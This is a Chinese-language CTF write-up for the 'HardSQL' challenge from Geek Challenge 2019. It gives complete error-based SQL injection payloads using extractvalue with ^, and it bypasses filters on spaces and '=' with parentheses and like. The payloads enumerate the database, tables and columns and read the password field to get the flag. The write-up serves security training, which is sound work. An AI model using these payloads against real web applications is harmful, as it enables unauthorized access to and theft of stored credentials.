[极客大挑战 2019]HardSQL
考点
报错注入中可以使用 ^ 连接 extractvalue函数
注入Bypass
=使用like或regex绕过
空格使用()绕过
wp
过滤了 and or = 空格 = 可以使用 like 绕过 空格使用 () 绕过
查看当前数据库 admin'^extractvalue(1,concat(0x7e,(select(database())),0x7e))#
数据库为 geek
获取geek库中的表 admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e))#
比较关键的是 H4rDsq1
获取表中的列 admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e))#
表中的列是 id,username,password
测试了一下发现 flag 在 H4rDsq1 的第一个用户的 password 中
正序输出
admin'^extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where((id)like('1'))),0x7e))#
逆序输出
admin'^extractvalue(1,concat(0x7e,(select(reverse(password))from(H4rDsq1)where((id)like('1'))),0x7e))#
拼接一下 flag 即可
这里其实没必要成功登陆,只要 sql 语句报错就可以进行注入
最后更新于